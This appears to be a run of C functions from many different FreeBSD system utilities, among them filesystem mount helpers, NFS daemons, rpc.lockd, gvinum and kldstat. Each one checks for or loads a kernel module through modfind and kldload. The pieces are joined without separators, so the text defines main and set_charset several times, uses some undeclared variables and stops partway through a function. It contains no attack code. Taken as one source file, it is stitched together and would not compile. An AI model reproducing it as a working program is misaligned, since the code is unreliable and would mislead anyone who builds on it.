static int
set_charset(struct iovec **iov, int *iovlen, const char *localcs)
{
int error;
char *cs_disk; /* disk charset for Joliet cs conversion */
char *cs_local; /* local charset for Joliet cs conversion */
cs_disk = NULL;
cs_local = NULL;
if (modfind("cd9660_iconv") < 0)
if (kldload("cd9660_iconv") < 0 || modfind("cd9660_iconv") < 0) {
warnx( "cannot find or load \"cd9660_iconv\" kernel module");
return (-1);
}
if ((cs_disk = malloc(ICONV_CSNMAXLEN)) == NULL)
return (-1);
if ((cs_local = malloc(ICONV_CSNMAXLEN)) == NULL) {
free(cs_disk);
return (-1);
}
strncpy(cs_disk, ENCODING_UNICODE, ICONV_CSNMAXLEN);
strncpy(cs_local, kiconv_quirkcs(localcs, KICONV_VENDOR_MICSFT),
ICONV_CSNMAXLEN);
error = kiconv_add_xlat16_cspairs(cs_disk, cs_local);
if (error)
return (-1);
build_iovec(iov, iovlen, "cs_disk", cs_disk, (size_t)-1);
build_iovec(iov, iovlen, "cs_local", cs_local, (size_t)-1);
return (0);
}
int
main(void)
{
int my_pid = getpid();
int parent = getppid();
int rc_get, rc_set;
int myrand = rand();
struct module_stat stat_get;
struct module_stat stat_set;
stat_get.version = sizeof(stat_get);
modstat(modfind("getProcessTickets"), &stat_get);
get_num = stat_get.data.intval;
stat_set.version = sizeof(stat_set);
modstat(modfind("setProcessTickets"), &stat_set);
set_num = stat_set.data.intval;
printf("get_num %d set_num %d \n", get_num, set_num);
rc_get = getProcessTickets(my_pid);
printf("rc_get before set = %d\n", rc_get);
rc_set = setProcessTickets(my_pid, myrand);
printf("rc_set = %d (pid = %d)\n", rc_set, myrand);
rc_get = getProcessTickets(my_pid);
printf("rc_get after set = %d\n", rc_get);
return 0;
}
int
set_charset(struct iovec **iov, int *iovlen, const char *cs_local, const char *cs_dos)
{
int error;
if (modfind("msdosfs_iconv") < 0)
if (kldload("msdosfs_iconv") < 0 || modfind("msdosfs_iconv") < 0) {
warnx("cannot find or load \"msdosfs_iconv\" kernel module");
return (-1);
}
build_iovec_argf(iov, iovlen, "cs_win", ENCODING_UNICODE);
error = kiconv_add_xlat16_cspairs(ENCODING_UNICODE, cs_local);
if (error && errno != EEXIST)
return (-1);
if (cs_dos != NULL) {
error = kiconv_add_xlat16_cspairs(cs_dos, cs_local);
if (error && errno != EEXIST)
return (-1);
} else {
build_iovec_argf(iov, iovlen, "cs_dos", cs_local);
error = kiconv_add_xlat16_cspair(cs_local, cs_local,
KICONV_FROM_UPPER | KICONV_LOWER);
if (error && errno != EEXIST)
return (-1);
}
return (0);
}
int set_charset( char **cs_disk, char **cs_local, const char *localcs ) {
int error;
if ( modfind( "udf_iconv" ) < 0 ) if ( kldload( "udf_iconv" ) < 0 || modfind( "udf_iconv" ) < 0 ) {
warnx( "cannot find or load \"udf_iconv\" kernel module" );
return ( -1 );
}
if ( ( *cs_disk = malloc( ICONV_CSNMAXLEN ) ) == NULL ) return ( -1 );
if ( ( *cs_local = malloc( ICONV_CSNMAXLEN ) ) == NULL ) return ( -1 );
strncpy( *cs_disk, ENCODING_UNICODE, ICONV_CSNMAXLEN );
strncpy( *cs_local, localcs, ICONV_CSNMAXLEN );
error = kiconv_add_xlat16_cspairs( *cs_disk, *cs_local );
if ( error ) return ( -1 );
return ( 0 );
}
int ggate_drv_load() {
if (modfind("g_gate") != -1) {
/* Present in kernel. */
return 0;
}
if (kldload("geom_gate") == -1 || modfind("g_gate") == -1) {
if (errno != EEXIST) {
err("failed to load geom_gate module");
return -errno;
}
}
return 0;
}
static void
gvinum_stop(int argc, char * const *argv)
{
int err, fileid;
fileid = kldfind(GVINUMKLD);
if (fileid == -1) {
if (modfind(GVINUMMOD) < 0)
warn("cannot find " GVINUMKLD);
return;
}
/*
* This little hack prevents that we end up in an infinite loop in
* g_unload_class(). gv_unload() will return EAGAIN so that the GEOM
* event thread will be free for the g_wither_geom() call from
* gv_unload(). It's silly, but it works.
*/
printf("unloading " GVINUMKLD " kernel module... ");
fflush(stdout);
if ((err = kldunload(fileid)) != 0 && (errno == EAGAIN)) {
sleep(1);
err = kldunload(fileid);
}
if (err != 0) {
printf(" failed!\n");
warn("cannot unload " GVINUMKLD);
return;
}
printf("done\n");
exit(0);
}
int
main(int argc __unused, char *argv[])
{
/* Prevent foot shooting. */
if (getpid() != 1)
return (1);
if (modfind("tmpfs") == -1 && kldload("tmpfs") == -1)
die("error loading tmpfs");
/* Extract FreeBSD installation in a tmpfs. */
domount(tmpfs, sizeof(tmpfs) / sizeof(char *));
extract("/root.txz");
domount(devfs, sizeof(devfs) / sizeof(char *));
/* chroot() into system and continue boot process. */
if (chroot("/rw") != 0)
die("chroot");
chdir("/");
/* Execute the real /sbin/init. */
execv(argv[0], argv);
die("execv");
return (1);
}
/**
* Load the MD driver if it isn't loaded already.
*/
static void
mdmaybeload(void)
{
char name1[64], name2[64];
snprintf(name1, sizeof(name1), "g_%s", MD_NAME);
snprintf(name2, sizeof(name2), "geom_%s", MD_NAME);
if (modfind(name1) == -1) {
/* Not present in kernel, try loading it. */
if (kldload(name2) == -1 || modfind(name1) == -1) {
if (errno != EEXIST) {
errx(EXIT_FAILURE,
"%s module not available!", name2);
}
}
}
}
int
main(int argc, char **argv)
{
char *cp;
u_char val;
int cnt, even;
struct nfsd_clid revoke_handle;
if (modfind("nfsd") < 0)
errx(1, "nfsd not loaded - self terminating");
if (argc != 2)
usage();
cnt = 0;
cp = argv[1];
if (strlen(cp) % 2)
even = 0;
else
even = 1;
val = 0;
while (*cp) {
if (*cp >= '0' && *cp <= '9')
val += (u_char)(*cp - '0');
else if (*cp >= 'A' && *cp <= 'F')
val += ((u_char)(*cp - 'A')) + 0xa;
else if (*cp >= 'a' && *cp <= 'f')
val += ((u_char)(*cp - 'a')) + 0xa;
else
errx(1, "Non hexadecimal digit in %s", argv[1]);
if (even) {
val <<= 4;
even = 0;
} else {
revoke_handle.nclid_id[cnt++] = val;
if (cnt > NFSV4_OPAQUELIMIT)
errx(1, "Clientid %s, loo long", argv[1]);
val = 0;
even = 1;
}
cp++;
}
/*
* Do the revocation system call.
*/
revoke_handle.nclid_idlen = cnt;
#ifdef DEBUG
printf("Idlen=%d\n", revoke_handle.nclid_idlen);
for (cnt = 0; cnt < revoke_handle.nclid_idlen; cnt++)
printf("%02x", revoke_handle.nclid_id[cnt]);
printf("\n");
#else
if (nfssvc(NFSSVC_ADMINREVOKE, &revoke_handle) < 0)
err(1, "Admin revoke failed");
#endif
}
int
main(int argc, char **argv)
{
int line, tokens;
char buffer[BUFSIZ], *inputline, *token[GV_MAXARGS];
/* Load the module if necessary. */
if (modfind(GVINUMMOD) < 0) {
if (kldload(GVINUMKLD) < 0 && modfind(GVINUMMOD) < 0)
err(1, GVINUMKLD ": Kernel module not available");
}
/* Arguments given on the command line. */
if (argc > 1) {
argc--;
argv++;
parseline(argc, argv);
/* Interactive mode. */
} else {
for (;;) {
inputline = readline("gvinum -> ");
if (inputline == NULL) {
if (ferror(stdin)) {
err(1, "can't read input");
} else {
printf("\n");
exit(0);
}
} else if (*inputline) {
add_history(inputline);
strcpy(buffer, inputline);
free(inputline);
line++; /* count the lines */
tokens = gv_tokenize(buffer, token, GV_MAXARGS);
if (tokens)
parseline(tokens, token);
}
}
}
exit(0);
}
static int
LoadModules(void)
{
const char *module[] = { "netgraph", "ng_socket", "ng_ether", "ng_pppoe" };
int f;
for (f = 0; f < sizeof module / sizeof *module; f++)
if (modfind(module[f]) == -1 && kldload(module[f]) == -1) {
fprintf(stderr, "kldload: %s: %s\n", module[f], strerror(errno));
return 0;
}
return 1;
}
int
main(int argc, char **argv)
{
int syscall_num, error, modid;
struct module_stat mstat;
const char* verb;
modid = modfind("sys/mytest");
if (modid < 0)
{
perror("unable to find module mytest");
exit(modid);
}
mstat.version = sizeof mstat;
if (0 != (error = modstat(modid, &mstat)))
{
perror("unable to get module status");
exit(error);
}
syscall_num = mstat.data.intval;
printf("syscall num: %d\n", syscall_num);
verb = (argc <= 1) ? "" : argv[1];
if (0 == strcmp(verb, "print") && argc == 3)
{
error = syscall(syscall_num, 0, 0, argv[2], 0, NULL);
if (error) perror("error");
}
else if (0 == strcmp(verb, "devtree") && argc == 2)
{
error = syscall(syscall_num, 10, 0, NULL, 0, NULL);
if (error) perror("error");
}
else if (0 == strcmp(verb, "panic") && argc == 2)
{
error = syscall(syscall_num, 100, 0, NULL, 0, NULL);
if (error) perror("error");
}
else
{
printf("usage: test print string\n");
printf(" test panic\n");
error = EINVAL;
}
return error;
}
int
loadmodules(int how, const char *module, ...)
{
int loaded = 0;
va_list ap;
va_start(ap, module);
while (module != NULL) {
if (modfind(module) == -1) {
if (ID0kldload(module) == -1) {
if (how == LOAD_VERBOSLY)
log_Printf(LogWARN, "%s: Cannot load module\n", module);
} else
loaded++;
}
module = va_arg(ap, const char *);
}
va_end(ap);
return loaded;
}
static void
gcmd_createinsert(struct gctl_req *req, unsigned flags __unused)
{
const char *reqalgo;
char name[64];
if (gctl_has_param(req, "algo"))
reqalgo = gctl_get_ascii(req, "algo");
else
reqalgo = GSCHED_ALGO;
snprintf(name, sizeof(name), "gsched_%s", reqalgo);
/*
* Do not complain about errors here, gctl_issue()
* will fail anyway.
*/
if (modfind(name) < 0)
kldload(name);
gctl_issue(req);
}
int
main(int argc, char **argv)
{
int ch, openstate;
char *lockfile;
if (modfind("nfsd") < 0)
errx(1, "nfsd not loaded - self terminating");
openstate = 0;
lockfile = NULL;
while ((ch = getopt(argc, argv, "ol:")) != -1)
switch (ch) {
case 'o':
openstate = 1;
break;
case 'l':
lockfile = optarg;
break;
default:
usage();
}
argc -= optind;
argv += optind;
if (openstate == 0 && lockfile == NULL)
openstate = 1;
else if (openstate != 0 && lockfile != NULL)
errx(1, "-o and -l cannot both be specified");
/*
* For -o, dump all open/lock state.
* For -l, dump lock state for that file.
*/
if (openstate != 0)
dump_openstate();
else
dump_lockstate(lockfile);
exit(0);
}
int
main(int argc, char **argv)
{
int ch, i, s;
void *nc_handle;
char *endptr, **hosts_bak;
struct sigaction sigalarm;
int grace_period = 30;
struct netconfig *nconf;
int have_v6 = 1;
int maxrec = RPC_MAXDATASIZE;
in_port_t svcport = 0;
int attempt_cnt, port_len, port_pos, ret;
char **port_list;
while ((ch = getopt(argc, argv, "d:g:h:p:")) != (-1)) {
switch (ch) {
case 'd':
debug_level = atoi(optarg);
if (!debug_level) {
usage();
/* NOTREACHED */
}
break;
case 'g':
grace_period = atoi(optarg);
if (!grace_period) {
usage();
/* NOTREACHED */
}
break;
case 'h':
++nhosts;
hosts_bak = hosts;
hosts_bak = realloc(hosts, nhosts * sizeof(char *));
if (hosts_bak == NULL) {
if (hosts != NULL) {
for (i = 0; i < nhosts; i++)
free(hosts[i]);
free(hosts);
out_of_mem();
}
}
hosts = hosts_bak;
hosts[nhosts - 1] = strdup(optarg);
if (hosts[nhosts - 1] == NULL) {
for (i = 0; i < (nhosts - 1); i++)
free(hosts[i]);
free(hosts);
out_of_mem();
}
break;
case 'p':
endptr = NULL;
svcport = (in_port_t)strtoul(optarg, &endptr, 10);
if (endptr == NULL || *endptr != '\0' ||
svcport == 0 || svcport >= IPPORT_MAX)
usage();
svcport_str = strdup(optarg);
break;
default:
case '?':
usage();
/* NOTREACHED */
}
}
if (geteuid()) { /* This command allowed only to root */
fprintf(stderr, "Sorry. You are not superuser\n");
exit(1);
}
kernel_lockd = FALSE;
kernel_lockd_client = FALSE;
if (modfind("nfslockd") < 0) {
if (kldload("nfslockd") < 0) {
fprintf(stderr, "Can't find or load kernel support for rpc.lockd - using non-kernel implementation\n");
} else {
kernel_lockd = TRUE;
}
} else {
kernel_lockd = TRUE;
}
if (kernel_lockd) {
if (getosreldate() >= 800040)
kernel_lockd_client = TRUE;
}
(void)rpcb_unset(NLM_PROG, NLM_SM, NULL);
(void)rpcb_unset(NLM_PROG, NLM_VERS, NULL);
(void)rpcb_unset(NLM_PROG, NLM_VERSX, NULL);
(void)rpcb_unset(NLM_PROG, NLM_VERS4, NULL);
/*
* Check if IPv6 support is present.
*/
s = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
if (s < 0)
have_v6 = 0;
else
close(s);
rpc_control(RPC_SVC_CONNMAXREC_SET, &maxrec);
/*
* If no hosts were specified, add a wildcard entry to bind to
* INADDR_ANY. Otherwise make sure 127.0.0.1 and ::1 are added to the
* list.
*/
if (nhosts == 0) {
hosts = malloc(sizeof(char**));
if (hosts == NULL)
out_of_mem();
hosts[0] = "*";
nhosts = 1;
} else {
hosts_bak = hosts;
if (have_v6) {
hosts_bak = realloc(hosts, (nhosts + 2) *
sizeof(char *));
if (hosts_bak == NULL) {
for (i = 0; i < nhosts; i++)
free(hosts[i]);
free(hosts);
out_of_mem();
} else
hosts = hosts_bak;
nhosts += 2;
hosts[nhosts - 2] = "::1";
} else {
hosts_bak = realloc(hosts, (nhosts + 1) * sizeof(char *));
if (hosts_bak == NULL) {
for (i = 0; i < nhosts; i++)
free(hosts[i]);
free(hosts);
out_of_mem();
} else {
nhosts += 1;
hosts = hosts_bak;
}
}
hosts[nhosts - 1] = "127.0.0.1";
}
if (kernel_lockd) {
if (!kernel_lockd_client) {
/*
* For the case where we have a kernel lockd but it
* doesn't provide client locking, we run a cut-down
* RPC service on a local-domain socket. The kernel's
* RPC server will pass what it can't handle (mainly
* client replies) down to us.
*/
struct sockaddr_un sun;
int fd, oldmask;
SVCXPRT *xprt;
memset(&sun, 0, sizeof sun);
sun.sun_family = AF_LOCAL;
unlink(_PATH_RPCLOCKDSOCK);
strcpy(sun.sun_path, _PATH_RPCLOCKDSOCK);
sun.sun_len = SUN_LEN(&sun);
fd = socket(AF_LOCAL, SOCK_STREAM, 0);
if (!fd) {
err(1, "Can't create local lockd socket");
}
oldmask = umask(S_IXUSR|S_IRWXG|S_IRWXO);
if (bind(fd, (struct sockaddr *) &sun, sun.sun_len) < 0) {
err(1, "Can't bind local lockd socket");
}
umask(oldmask);
if (listen(fd, SOMAXCONN) < 0) {
err(1, "Can't listen on local lockd socket");
}
xprt = svc_vc_create(fd, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
if (!xprt) {
err(1, "Can't create transport for local lockd socket");
}
if (!svc_reg(xprt, NLM_PROG, NLM_VERS4, nlm_prog_4, NULL)) {
err(1, "Can't register service for local lockd socket");
}
}
/*
* We need to look up the addresses so that we can
* hand uaddrs (ascii encoded address+port strings) to
* the kernel.
*/
nc_handle = setnetconfig();
while ((nconf = getnetconfig(nc_handle))) {
/* We want to listen only on udp6, tcp6, udp, tcp transports */
if (nconf->nc_flag & NC_VISIBLE) {
/* Skip if there's no IPv6 support */
if (have_v6 == 0 && strcmp(nconf->nc_protofmly, "inet6") == 0) {
/* DO NOTHING */
} else {
lookup_addresses(nconf);
}
}
}
endnetconfig(nc_handle);
} else {
attempt_cnt = 1;
sock_fdcnt = 0;
sock_fd = NULL;
port_list = NULL;
port_len = 0;
nc_handle = setnetconfig();
while ((nconf = getnetconfig(nc_handle))) {
/* We want to listen only on udp6, tcp6, udp, tcp transports */
if (nconf->nc_flag & NC_VISIBLE) {
/* Skip if there's no IPv6 support */
if (have_v6 == 0 && strcmp(nconf->nc_protofmly, "inet6") == 0) {
/* DO NOTHING */
} else {
ret = create_service(nconf);
if (ret == 1)
/* Ignore this call */
continue;
if (ret < 0) {
/*
* Failed to bind port, so close
* off all sockets created and
* try again if the port# was
* dynamically assigned via
* bind(2).
*/
clearout_service();
if (mallocd_svcport != 0 &&
attempt_cnt <
GETPORT_MAXTRY) {
free(svcport_str);
svcport_str = NULL;
mallocd_svcport = 0;
} else {
errno = EADDRINUSE;
syslog(LOG_ERR,
"bindresvport_sa: %m");
exit(1);
}
/*
* Start over at the first
* service.
*/
free(sock_fd);
sock_fdcnt = 0;
sock_fd = NULL;
nc_handle = setnetconfig();
attempt_cnt++;
} else if (mallocd_svcport != 0 &&
attempt_cnt == GETPORT_MAXTRY) {
/*
* For the last attempt, allow
* different port #s for each
* nconf by saving the
* svcport_str and setting it
* back to NULL.
*/
port_list = realloc(port_list,
(port_len + 1) *
sizeof(char *));
if (port_list == NULL)
out_of_mem();
port_list[port_len++] =
svcport_str;
svcport_str = NULL;
mallocd_svcport = 0;
}
}
}
}
/*
* Successfully bound the ports, so call complete_service() to
* do the rest of the setup on the service(s).
*/
sock_fdpos = 0;
port_pos = 0;
nc_handle = setnetconfig();
while ((nconf = getnetconfig(nc_handle))) {
/* We want to listen only on udp6, tcp6, udp, tcp transports */
if (nconf->nc_flag & NC_VISIBLE) {
/* Skip if there's no IPv6 support */
if (have_v6 == 0 && strcmp(nconf->nc_protofmly, "inet6") == 0) {
/* DO NOTHING */
} else if (port_list != NULL) {
if (port_pos >= port_len) {
syslog(LOG_ERR,
"too many port#s");
exit(1);
}
complete_service(nconf,
port_list[port_pos++]);
} else
complete_service(nconf, svcport_str);
}
}
endnetconfig(nc_handle);
free(sock_fd);
if (port_list != NULL) {
for (port_pos = 0; port_pos < port_len; port_pos++)
free(port_list[port_pos]);
free(port_list);
}
}
/*
* Note that it is NOT sensible to run this program from inetd - the
* protocol assumes that it will run immediately at boot time.
*/
if (daemon(0, debug_level > 0)) {
err(1, "cannot fork");
/* NOTREACHED */
}
openlog("rpc.lockd", 0, LOG_DAEMON);
if (debug_level)
syslog(LOG_INFO, "Starting, debug level %d", debug_level);
else
syslog(LOG_INFO, "Starting");
sigalarm.sa_handler = (sig_t) sigalarm_handler;
sigemptyset(&sigalarm.sa_mask);
sigalarm.sa_flags = SA_RESETHAND; /* should only happen once */
sigalarm.sa_flags |= SA_RESTART;
if (sigaction(SIGALRM, &sigalarm, NULL) != 0) {
syslog(LOG_WARNING, "sigaction(SIGALRM) failed: %s",
strerror(errno));
exit(1);
}
if (kernel_lockd) {
if (!kernel_lockd_client) {
init_nsm();
client_pid = client_request();
/*
* Create a child process to enter the kernel and then
* wait for RPCs on our local domain socket.
*/
if (!fork())
nlm_syscall(debug_level, grace_period,
naddrs, addrs);
else
svc_run();
} else {
/*
* The kernel lockd implementation provides
* both client and server so we don't need to
* do anything else.
*/
nlm_syscall(debug_level, grace_period, naddrs, addrs);
}
} else {
grace_expired = 0;
alarm(grace_period);
init_nsm();
client_pid = client_request();
svc_run(); /* Should never return */
}
exit(1);
}
int
main(int argc, char *argv[])
{
int i, j;
int error, fnd_dup, len, mustfreeai = 0, start_uidpos;
struct nfsd_idargs nid;
struct passwd *pwd;
struct group *grp;
int sock, one = 1;
SVCXPRT *udptransp;
u_short portnum;
sigset_t signew;
char hostname[MAXHOSTNAMELEN + 1], *cp;
struct addrinfo *aip, hints;
static uid_t check_dups[MAXUSERMAX];
if (modfind("nfscommon") < 0) {
/* Not present in kernel, try loading it */
if (kldload("nfscommon") < 0 ||
modfind("nfscommon") < 0)
errx(1, "Experimental nfs subsystem is not available");
}
/*
* First, figure out what our domain name and Kerberos Realm
* seem to be. Command line args may override these later.
*/
if (gethostname(hostname, MAXHOSTNAMELEN) == 0) {
if ((cp = strchr(hostname, '.')) != NULL &&
*(cp + 1) != '\0') {
dnsname = cp + 1;
} else {
memset((void *)&hints, 0, sizeof (hints));
hints.ai_flags = AI_CANONNAME;
error = getaddrinfo(hostname, NULL, &hints, &aip);
if (error == 0) {
if (aip->ai_canonname != NULL &&
(cp = strchr(aip->ai_canonname, '.')) != NULL
&& *(cp + 1) != '\0') {
dnsname = cp + 1;
mustfreeai = 1;
} else {
freeaddrinfo(aip);
}
}
}
}
nid.nid_usermax = DEFUSERMAX;
nid.nid_usertimeout = defusertimeout;
argc--;
argv++;
while (argc >= 1) {
if (!strcmp(*argv, "-domain")) {
if (argc == 1)
usage();
argc--;
argv++;
strncpy(hostname, *argv, MAXHOSTNAMELEN);
hostname[MAXHOSTNAMELEN] = '\0';
dnsname = hostname;
} else if (!strcmp(*argv, "-verbose")) {
verbose = 1;
} else if (!strcmp(*argv, "-force")) {
forcestart = 1;
} else if (!strcmp(*argv, "-usermax")) {
if (argc == 1)
usage();
argc--;
argv++;
i = atoi(*argv);
if (i < MINUSERMAX || i > MAXUSERMAX) {
fprintf(stderr,
"usermax %d out of range %d<->%d\n", i,
MINUSERMAX, MAXUSERMAX);
usage();
}
nid.nid_usermax = i;
} else if (!strcmp(*argv, "-usertimeout")) {
if (argc == 1)
usage();
argc--;
argv++;
i = atoi(*argv);
if (i < 0 || i > 100000) {
fprintf(stderr,
"usertimeout %d out of range 0<->100000\n",
i);
usage();
}
nid.nid_usertimeout = defusertimeout = i * 60;
} else if (nfsuserdcnt == -1) {
nfsuserdcnt = atoi(*argv);
if (nfsuserdcnt < 1)
usage();
if (nfsuserdcnt > MAXNFSUSERD) {
warnx("nfsuserd count %d; reset to %d",
nfsuserdcnt, DEFNFSUSERD);
nfsuserdcnt = DEFNFSUSERD;
}
} else {
usage();
}
argc--;
argv++;
}
if (nfsuserdcnt < 1)
nfsuserdcnt = DEFNFSUSERD;
/*
* Strip off leading and trailing '.'s in domain name and map
* alphabetics to lower case.
*/
while (*dnsname == '.')
dnsname++;
if (*dnsname == '\0')
errx(1, "Domain name all '.'");
len = strlen(dnsname);
cp = dnsname + len - 1;
while (*cp == '.') {
*cp = '\0';
len--;
cp--;
}
for (i = 0; i < len; i++) {
if (!isascii(dnsname[i]))
errx(1, "Domain name has non-ascii char");
if (isupper(dnsname[i]))
dnsname[i] = tolower(dnsname[i]);
}
/*
* If the nfsuserd died off ungracefully, this is necessary to
* get them to start again.
*/
if (forcestart && nfssvc(NFSSVC_NFSUSERDDELPORT, NULL) < 0)
errx(1, "Can't do nfssvc() to delete the port");
if (verbose)
fprintf(stderr,
"nfsuserd: domain=%s usermax=%d usertimeout=%d\n",
dnsname, nid.nid_usermax, nid.nid_usertimeout);
for (i = 0; i < nfsuserdcnt; i++)
slaves[i] = (pid_t)-1;
/*
* Set up the service port to accept requests via UDP from
* localhost (127.0.0.1).
*/
if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
err(1, "cannot create udp socket");
/*
* Not sure what this does, so I'll leave it here for now.
*/
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
if ((udptransp = svcudp_create(sock)) == NULL)
err(1, "Can't set up socket");
/*
* By not specifying a protocol, it is linked into the
* dispatch queue, but not registered with portmapper,
* which is just what I want.
*/
if (!svc_register(udptransp, RPCPROG_NFSUSERD, RPCNFSUSERD_VERS,
nfsuserdsrv, 0))
err(1, "Can't register nfsuserd");
/*
* Tell the kernel what my port# is.
*/
portnum = htons(udptransp->xp_port);
#ifdef DEBUG
printf("portnum=0x%x\n", portnum);
#else
if (nfssvc(NFSSVC_NFSUSERDPORT, (caddr_t)&portnum) < 0) {
if (errno == EPERM) {
fprintf(stderr,
"Can't start nfsuserd when already running");
fprintf(stderr,
" If not running, use the -force option.\n");
} else {
fprintf(stderr, "Can't do nfssvc() to add port\n");
}
exit(1);
}
#endif
pwd = getpwnam(defaultuser);
if (pwd)
nid.nid_uid = pwd->pw_uid;
else
nid.nid_uid = defaultuid;
grp = getgrnam(defaultgroup);
if (grp)
nid.nid_gid = grp->gr_gid;
else
nid.nid_gid = defaultgid;
nid.nid_name = dnsname;
nid.nid_namelen = strlen(nid.nid_name);
nid.nid_flag = NFSID_INITIALIZE;
#ifdef DEBUG
printf("Initialize uid=%d gid=%d dns=%s\n", nid.nid_uid, nid.nid_gid,
nid.nid_name);
#else
error = nfssvc(NFSSVC_IDNAME, &nid);
if (error)
errx(1, "Can't initialize nfs user/groups");
#endif
i = 0;
/*
* Loop around adding all groups.
*/
setgrent();
while (i < nid.nid_usermax && (grp = getgrent())) {
nid.nid_gid = grp->gr_gid;
nid.nid_name = grp->gr_name;
nid.nid_namelen = strlen(grp->gr_name);
nid.nid_flag = NFSID_ADDGID;
#ifdef DEBUG
printf("add gid=%d name=%s\n", nid.nid_gid, nid.nid_name);
#else
error = nfssvc(NFSSVC_IDNAME, &nid);
if (error)
errx(1, "Can't add group %s", grp->gr_name);
#endif
i++;
}
/*
* Loop around adding all users.
*/
start_uidpos = i;
setpwent();
while (i < nid.nid_usermax && (pwd = getpwent())) {
fnd_dup = 0;
/*
* Yes, this is inefficient, but it is only done once when
* the daemon is started and will run in a fraction of a second
* for nid_usermax at 10000. If nid_usermax is cranked up to
* 100000, it will take several seconds, depending on the CPU.
*/
for (j = 0; j < (i - start_uidpos); j++)
if (check_dups[j] == pwd->pw_uid) {
/* Found another entry for uid, so skip it */
fnd_dup = 1;
break;
}
if (fnd_dup != 0)
continue;
check_dups[i - start_uidpos] = pwd->pw_uid;
nid.nid_uid = pwd->pw_uid;
nid.nid_name = pwd->pw_name;
nid.nid_namelen = strlen(pwd->pw_name);
nid.nid_flag = NFSID_ADDUID;
#ifdef DEBUG
printf("add uid=%d name=%s\n", nid.nid_uid, nid.nid_name);
#else
error = nfssvc(NFSSVC_IDNAME, &nid);
if (error)
errx(1, "Can't add user %s", pwd->pw_name);
#endif
i++;
}
/*
* I should feel guilty for not calling this for all the above exit()
* upon error cases, but I don't.
*/
if (mustfreeai)
freeaddrinfo(aip);
#ifdef DEBUG
exit(0);
#endif
/*
* Temporarily block SIGUSR1 and SIGCHLD, so slaves[] can't
* end up bogus.
*/
sigemptyset(&signew);
sigaddset(&signew, SIGUSR1);
sigaddset(&signew, SIGCHLD);
sigprocmask(SIG_BLOCK, &signew, NULL);
daemon(0, 0);
(void)signal(SIGHUP, SIG_IGN);
(void)signal(SIGINT, SIG_IGN);
(void)signal(SIGQUIT, SIG_IGN);
(void)signal(SIGTERM, SIG_IGN);
(void)signal(SIGUSR1, cleanup_term);
(void)signal(SIGCHLD, cleanup_term);
openlog("nfsuserd:", LOG_PID, LOG_DAEMON);
/*
* Fork off the slave daemons that do the work. All the master
* does is kill them off and cleanup.
*/
for (i = 0; i < nfsuserdcnt; i++) {
slaves[i] = fork();
if (slaves[i] == 0) {
im_a_slave = 1;
setproctitle("slave");
sigemptyset(&signew);
sigaddset(&signew, SIGUSR1);
sigprocmask(SIG_UNBLOCK, &signew, NULL);
/*
* and away we go.
*/
svc_run();
syslog(LOG_ERR, "nfsuserd died: %m");
exit(1);
} else if (slaves[i] < 0) {
syslog(LOG_ERR, "fork: %m");
}
}
/*
* Just wait for SIGUSR1 or a child to die and then...
* As the Governor of California would say, "Terminate them".
*/
setproctitle("master");
sigemptyset(&signew);
while (1)
sigsuspend(&signew);
}
int
main(int argc, char** argv)
{
int c;
int verbose = 0;
int fileid = 0;
int quiet = 0;
char* filename = NULL;
char* modname = NULL;
char* p;
while ((c = getopt(argc, argv, "i:m:n:qv")) != -1)
switch (c) {
case 'i':
fileid = (int)strtoul(optarg, &p, 10);
if (*p != '\0')
usage();
break;
case 'm':
modname = optarg;
break;
case 'n':
filename = optarg;
break;
case 'q':
quiet = 1;
break;
case 'v':
verbose = 1;
break;
default:
usage();
}
argc -= optind;
argv += optind;
if (argc != 0)
usage();
if (modname != NULL) {
int modid;
struct module_stat stat;
if ((modid = modfind(modname)) < 0) {
if (!quiet)
warn("can't find module %s", modname);
return 1;
} else if (quiet) {
return 0;
}
stat.version = sizeof(struct module_stat);
if (modstat(modid, &stat) < 0)
warn("can't stat module id %d", modid);
else {
printf("Id Refs Name\n");
printf("%3d %4d %s\n", stat.id, stat.refs, stat.name);
}
return 0;
}
if (filename != NULL) {
if ((fileid = kldfind(filename)) < 0)
err(1, "can't find file %s", filename);
}
printf("Id Refs Address%*c Size Name\n", POINTER_WIDTH - 7, ' ');
if (fileid != 0)
printfile(fileid, verbose);
else
for (fileid = kldnext(0); fileid > 0; fileid = kldnext(fileid))
printfile(fileid, verbose);
return 0;
}
int
main(int argc, char *argv[])
{
int ch, options = 0, action = CCD_CONFIG;
while ((ch = getopt(argc, argv, "cCf:guUv")) != -1) {
switch (ch) {
case 'c':
action = CCD_CONFIG;
++options;
break;
case 'C':
action = CCD_CONFIGALL;
++options;
break;
case 'f':
ccdconf = optarg;
break;
case 'g':
action = CCD_DUMP;
break;
case 'u':
action = CCD_UNCONFIG;
++options;
break;
case 'U':
action = CCD_UNCONFIGALL;
++options;
break;
case 'v':
verbose = 1;
break;
default:
usage();
}
}
argc -= optind;
argv += optind;
if (options > 1)
usage();
if (modfind("g_ccd") < 0) {
/* Not present in kernel, try loading it */
if (kldload("geom_ccd") < 0 || modfind("g_ccd") < 0)
warn("geom_ccd module not available!");
}
switch (action) {
case CCD_CONFIG:
case CCD_UNCONFIG:
exit(do_single(argc, argv, action));
/* NOTREACHED */
case CCD_CONFIGALL:
case CCD_UNCONFIGALL:
exit(do_all(action));
/* NOTREACHED */
case CCD_DUMP:
exit(dump_ccd(argc, argv));
/* NOTREACHED */
}
/* NOTREACHED */
return (0);
}
int
main(int argc, char** argv)
{
int c;
int humanized = 0;
int verbose = 0;
int fileid = 0;
int quiet = 0;
char* filename = NULL;
char* modname = NULL;
char* p;
while ((c = getopt(argc, argv, "dhi:m:n:qv")) != -1)
switch (c) {
case 'd':
showdata = 1;
break;
case 'h':
humanized = 1;
break;
case 'i':
fileid = (int)strtoul(optarg, &p, 10);
if (*p != '\0')
usage();
break;
case 'm':
modname = optarg;
break;
case 'n':
filename = optarg;
break;
case 'q':
quiet = 1;
break;
case 'v':
verbose = 1;
break;
default:
usage();
}
argc -= optind;
argv += optind;
if (argc != 0)
usage();
if (modname != NULL) {
int modid;
struct module_stat stat;
if ((modid = modfind(modname)) < 0) {
if (!quiet)
warn("can't find module %s", modname);
return 1;
} else if (quiet) {
return 0;
}
stat.version = sizeof(struct module_stat);
if (modstat(modid, &stat) < 0)
warn("can't stat module id %d", modid);
else {
if (showdata) {
printf("Id Refs Name data..(int, uint, ulong)\n");
